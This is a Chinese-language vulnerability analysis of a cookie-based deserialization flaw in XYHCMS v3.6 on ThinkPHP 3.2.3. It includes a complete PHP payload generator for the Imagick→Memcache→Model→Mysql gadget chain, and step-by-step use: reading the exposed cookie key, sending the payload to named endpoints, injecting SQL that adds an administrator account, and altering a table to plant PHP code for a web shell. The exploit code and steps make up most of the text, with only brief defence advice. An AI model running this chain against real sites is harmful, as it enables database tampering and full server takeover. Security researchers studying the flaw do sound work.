痛失CVE之xyhcms(thinkphp3.2.3)反序列化
字数 1815 2025-08-06 08:35:22

XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用

漏洞概述

XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的Cookie数据触发反序列化操作,最终可能导致远程代码执行。该漏洞利用链复杂,涉及多个组件的交互。

漏洞背景

XYHCMS的配置文件以序列化形式存储在PHP文件中(如/App/Runtime/Data/config/site.php),这种存储方式存在安全隐患:

  1. 配置文件以PHP后缀存储,可能被直接访问
  2. 序列化数据存储在可访问位置
  3. 修复方案消极(仅过滤PHP标签)

漏洞分析

反序列化入口点

漏洞入口位于/App/Common/Common/function.php中的get_cookie函数:

function get_cookie($name, $key = '') {
    if (!isset($_COOKIE[$name])) {
        return null;
    }
    $key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
    $value = $_COOKIE[$name];
    $key = md5($key);
    $sc = new \Common\Lib\SysCrypt($key);
    $value = $sc->php_decrypt($value);
    return unserialize($value);
}

关键点:

  • 从Cookie中获取数据
  • 使用CFG_COOKIE_ENCODE作为密钥(可在site.php中找到)
  • 先解密后反序列化

加密/解密机制

加密解密由SysCrypt类处理(位于/App/Common/Lib/SysCrypt.class.php):

class SysCrypt {
    private $crypt_key;
    public function __construct($crypt_key) {
        $this->crypt_key = $crypt_key;
    }
    // 加密方法
    public function php_encrypt($txt) {
        srand((double)microtime() * 1000000);
        $encrypt_key = md5(rand(0,32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0;$i<strlen($txt);$i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
        }
        return base64_encode(self::__key($tmp,$this->crypt_key));
    }
    // 解密方法
    public function php_decrypt($txt) {
        $txt = self::__key(base64_decode($txt),$this->crypt_key);
        $tmp = '';
        for($i = 0;$i < strlen($txt); $i++) {
            $md5 = $txt[$i];
            $tmp .= $txt[++$i] ^ $md5;
        }
        return $tmp;
    }
    // 密钥处理
    private function __key($txt,$encrypt_key) {
        $encrypt_key = md5($encrypt_key);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }
}

反序列化利用链

利用链如下:

  1. 触发点:Think\Image\Driver\Imagick__destruct()方法
  2. 调用任意类的destroy()方法(通过Memcache驱动)
  3. 跳转到Think\Modeldelete()方法
  4. 最终执行任意SQL语句

关键类和方法:

  • Think\Image\Driver\Imagick::__destruct()
  • Think\Session\Driver\Memcache::destroy()
  • Think\Model::delete()
  • Think\Db\Driver\Mysql::execute()

漏洞利用

利用前提

  1. PHP 5.x环境(PHP 7+无法利用)
  2. 获取CFG_COOKIE_ENCODE值(位于/App/Runtime/Data/config/site.php
  3. 前台会员功能可用(注册/登录)

利用步骤

  1. 获取加密密钥
    访问/App/Runtime/Data/config/site.php获取CFG_COOKIE_ENCODE

  2. 生成Payload
    使用以下工具生成加密的反序列化Payload:

<?php
class SysCrypt {
    // ... SysCrypt类实现同上 ...
}

function set_cookie($args, $key = '') {
    $key = 'YOUR_CFG_COOKIE_ENCODE'; // 替换为实际获取的密钥
    $value = serialize($args);
    $key = md5($key);
    $sc = new SysCrypt($key);
    $value = $sc->php_encrypt($value);
    return $value;
}

// 构造反序列化链
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options = array(
        PDO::MYSQL_ATTR_LOCAL_INFILE => true
    );
    protected $config = array(
        "dsn" => "mysql:host=your_mysql_server;dbname=xyhcms;port=3306",
        "username" => "root",
        "password" => "root"
    );
}

namespace Think;
class Model{
    protected $options = array();
    protected $pk;
    protected $data = array();
    protected $db = null;
    public function __construct(){
        $this->db = new \Think\Db\Driver\Mysql();
        $this->options['where'] = '';
        $this->pk = 'luoke';
        $this->data[$this->pk] = array(
            "table" => "xyh_admin_log",
            "where" => "id=0; YOUR_SQL_PAYLOAD"
        );
    }
}

namespace Think\Session\Driver;
class Memcache{
    protected $handle;
    public function __construct() {
        $this->handle = new \Think\Model();
    }
}

namespace Think\Image\Driver;
class Imagick{
    private $img;
    public function __construct() {
        $this->img = new \Think\Session\Driver\Memcache();
    }
}

// 生成Payload
$payload = new \Think\Image\Driver\Imagick();
echo set_cookie($payload);
?>
  1. 设置恶意Cookie
    将生成的Payload设置为uidnickname的Cookie值,发送到以下接口:

    • /index.php?s=/Public/loginChk.html
    • /index.php?s=/Home/Member/index.html
  2. 执行SQL注入
    通过PDO执行任意SQL语句,例如:

    • 添加管理员:"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"
    • 读取数据:"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"
  3. 获取Shell
    方法一:通过恶意MySQL服务器读取文件
    方法二:通过修改表结构注入PHP代码:

    alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);
    

    然后访问留言板生成缓存文件/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

防御措施

  1. 不要将序列化数据存储在可访问的PHP文件中
  2. 配置文件应使用非PHP后缀或存储在web目录外
  3. 对Cookie数据进行严格验证
  4. 升级到ThinkPHP更高版本
  5. 使用PHP 7+环境

漏洞影响

  • 远程代码执行
  • 数据库操作
  • 敏感信息泄露
  • 系统完全控制

时间线

  • 2020年5月:首次发现配置文件写入漏洞
  • 2021年3月:发现反序列化利用链
  • CNVD-ID:CNVD-2021-05552

总结

该漏洞利用链复杂但危害严重,结合了反序列化、SQL注入和文件写入等多种技术。开发人员应避免将敏感数据以序列化形式存储在可访问位置,并严格验证所有用户输入。

XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用 漏洞概述 XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的Cookie数据触发反序列化操作,最终可能导致远程代码执行。该漏洞利用链复杂,涉及多个组件的交互。 漏洞背景 XYHCMS的配置文件以序列化形式存储在PHP文件中(如 /App/Runtime/Data/config/site.php ),这种存储方式存在安全隐患: 配置文件以PHP后缀存储,可能被直接访问 序列化数据存储在可访问位置 修复方案消极(仅过滤PHP标签) 漏洞分析 反序列化入口点 漏洞入口位于 /App/Common/Common/function.php 中的 get_cookie 函数: 关键点: 从Cookie中获取数据 使用 CFG_COOKIE_ENCODE 作为密钥(可在 site.php 中找到) 先解密后反序列化 加密/解密机制 加密解密由 SysCrypt 类处理(位于 /App/Common/Lib/SysCrypt.class.php ): 反序列化利用链 利用链如下: 触发点: Think\Image\Driver\Imagick 的 __destruct() 方法 调用任意类的 destroy() 方法(通过 Memcache 驱动) 跳转到 Think\Model 的 delete() 方法 最终执行任意SQL语句 关键类和方法: Think\Image\Driver\Imagick::__destruct() Think\Session\Driver\Memcache::destroy() Think\Model::delete() Think\Db\Driver\Mysql::execute() 漏洞利用 利用前提 PHP 5.x环境(PHP 7+无法利用) 获取 CFG_COOKIE_ENCODE 值(位于 /App/Runtime/Data/config/site.php ) 前台会员功能可用(注册/登录) 利用步骤 获取加密密钥 : 访问 /App/Runtime/Data/config/site.php 获取 CFG_COOKIE_ENCODE 值 生成Payload : 使用以下工具生成加密的反序列化Payload: 设置恶意Cookie : 将生成的Payload设置为 uid 或 nickname 的Cookie值,发送到以下接口: /index.php?s=/Public/loginChk.html /index.php?s=/Home/Member/index.html 执行SQL注入 : 通过PDO执行任意SQL语句,例如: 添加管理员: "where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);" 读取数据: "where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;" 获取Shell : 方法一:通过恶意MySQL服务器读取文件 方法二:通过修改表结构注入PHP代码: 然后访问留言板生成缓存文件 /App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php 防御措施 不要将序列化数据存储在可访问的PHP文件中 配置文件应使用非PHP后缀或存储在web目录外 对Cookie数据进行严格验证 升级到ThinkPHP更高版本 使用PHP 7+环境 漏洞影响 远程代码执行 数据库操作 敏感信息泄露 系统完全控制 时间线 2020年5月:首次发现配置文件写入漏洞 2021年3月:发现反序列化利用链 CNVD-ID:CNVD-2021-05552 总结 该漏洞利用链复杂但危害严重,结合了反序列化、SQL注入和文件写入等多种技术。开发人员应避免将敏感数据以序列化形式存储在可访问位置,并严格验证所有用户输入。